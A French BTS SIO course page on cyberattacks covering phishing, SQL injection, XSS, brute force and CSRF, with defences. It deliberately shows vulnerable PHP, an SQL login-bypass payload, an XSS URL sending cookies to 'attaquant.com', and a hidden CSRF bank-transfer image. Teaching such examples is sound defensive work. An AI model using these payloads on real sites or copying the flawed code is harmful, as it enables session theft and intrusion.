Aller au contenu

B3.2 - Attaques et Vulnérabilités

Phishing, Injections SQL, XSS et autres menaces - BTS SIO

🎭 Ingénierie sociale et Phishing

Ingénierie sociale
Ensemble de techniques de manipulation psychologique utilisées pour obtenir des informations confidentielles ou pousser une personne à effectuer des actions compromettant la sécurité.

Types d'attaques par ingénierie sociale

🎣
Phishing
Envoi d'emails frauduleux imitant des organisations légitimes pour voler des identifiants ou installer des malwares.
🎯
Spear Phishing
Phishing ciblé visant spécifiquement une personne ou organisation, avec des informations personnalisées.
🐋
Whaling
Attaque ciblant spécifiquement les dirigeants d'entreprise (PDG, directeurs) pour obtenir des informations sensibles.
📞
Vishing
Phishing vocal utilisant le téléphone pour tromper les victimes et obtenir des informations confidentielles.
💬
Smishing
Phishing par SMS, utilisant des messages texte pour diriger vers des sites malveillants ou voler des données.
🚪
Tailgating
Intrusion physique en suivant une personne autorisée dans un bâtiment sécurisé sans badge d'accès.

Anatomie d'une attaque de phishing

📧 Éléments typiques d'un email de phishing :
  • Expéditeur falsifié : Imitation d'une organisation connue
  • Urgence artificielle : "Votre compte sera suspendu"
  • Liens malveillants : Redirection vers des sites frauduleux
  • Demande d'informations : Mots de passe, numéros de carte
  • Pièces jointes suspectes : Malwares déguisés

💉 Injections SQL

Injection SQL
Technique d'attaque consistant à injecter du code SQL malveillant dans une application web pour accéder, modifier ou supprimer des données dans la base de données.

Mécanisme d'une injection SQL

Exemple de code vulnérable (PHP)
// Code vulnérable - JAMAIS faire cela !
$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($connection, $query);
Payload d'attaque
-- L'attaquant saisit comme nom d'utilisateur :
admin' OR '1'='1' --

-- La requête devient :
SELECT * FROM users WHERE username = 'admin' OR '1'='1' --' AND password = 'motdepasse'

-- Résultat : Connexion réussie sans connaître le mot de passe !

Types d'injections SQL

🔍 Union-based

Utilise l'opérateur UNION pour combiner les résultats de plusieurs requêtes et extraire des données.

⏰ Time-based

Exploite les délais de réponse pour extraire des informations bit par bit de la base de données.

👁️ Boolean-based

Utilise des conditions vraies/fausses pour extraire des informations de la base de données.

❌ Error-based

Exploite les messages d'erreur de la base de données pour obtenir des informations sur sa structure.

🛡️ Prévention des injections SQL
  • Requêtes préparées : Utilisation de paramètres liés
  • Validation des entrées : Filtrage et échappement
  • Principe du moindre privilège : Comptes DB limités
  • WAF : Web Application Firewall

🌐 Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS)
Vulnérabilité permettant d'injecter du code JavaScript malveillant dans une page web, qui sera ensuite exécuté par le navigateur des autres utilisateurs.

Types d'attaques XSS

🔄
XSS Réfléchi
Le script malveillant est inclus dans une requête et renvoyé immédiatement dans la réponse. Nécessite que la victime clique sur un lien malveillant.
💾
XSS Stocké
Le script malveillant est stocké sur le serveur (base de données, fichier) et exécuté à chaque fois qu'un utilisateur accède à la page infectée.
📱
XSS DOM
La vulnérabilité existe dans le code JavaScript côté client qui modifie le DOM de manière non sécurisée.

Exemple d'attaque XSS

Code vulnérable (PHP)
// Affichage direct de l'entrée utilisateur - DANGEREUX !
echo "Bonjour " . $_GET['nom'];
URL malveillante
http://site-vulnerable.com/page.php?nom=<script>alert('XSS!')</script>

// Ou plus dangereux :
http://site-vulnerable.com/page.php?nom=<script>document.location='http://attaquant.com/steal.php?cookie='+document.cookie</script>
🛡️ Prévention des attaques XSS
  • Échappement HTML : htmlspecialchars(), htmlentities()
  • Validation des entrées : Filtrage strict des données
  • Content Security Policy (CSP) : Contrôle des ressources
  • HttpOnly cookies : Protection contre le vol de cookies

🔨 Autres attaques courantes

Attaques par force brute

🔐 Brute Force HTTP

Tentatives répétées de connexion avec différents mots de passe pour forcer l'authentification.

📝 Dictionary Attack

Utilisation d'une liste de mots de passe courants pour tenter de s'authentifier.

🌈 Rainbow Tables

Tables précalculées de hachages pour casser rapidement les mots de passe faibles.

Attaques sur les applications web

Exemple d'attaque CSRF (Cross-Site Request Forgery)
<!-- Page malveillante qui force une action sur un autre site -->
<img src="http://banque.com/transfer.php?to=attaquant&amount=1000" 
     style="display:none">

<!-- L'utilisateur connecté à sa banque exécute involontairement le transfert -->
⚠️ Statistiques alarmantes :
  • 43% des cyberattaques ciblent les petites entreprises
  • 95% des violations de données sont dues à une erreur humaine
  • Les attaques par phishing ont augmenté de 65% en 2023
  • Le coût moyen d'une violation de données : 4,45 millions de dollars

🛡️ Stratégies de défense

Défense en profondeur

👥
Formation utilisateurs
Sensibilisation aux risques, reconnaissance des tentatives de phishing, bonnes pratiques de sécurité.
🔧
Mesures techniques
Pare-feu, antivirus, filtrage des emails, mise à jour des systèmes, chiffrement des données.
📋
Politiques de sécurité
Procédures claires, gestion des accès, politique de mots de passe, plan de réponse aux incidents.
### Tests de sécurité
🔍 Types de tests de sécurité
  • Tests de pénétration : Simulation d'attaques réelles
  • Audit de code : Analyse statique et dynamique
  • Scan de vulnérabilités : Détection automatisée
  • Tests d'ingénierie sociale : Évaluation de la sensibilisation

📚 Ressources et outils

🔗 Outils de test et formation :
  • OWASP WebGoat : Application volontairement vulnérable
  • DVWA : Damn Vulnerable Web Application
  • Metasploit : Framework de test de pénétration
  • Burp Suite : Proxy d'interception pour tests web
  • OWASP ZAP : Scanner de vulnérabilités gratuit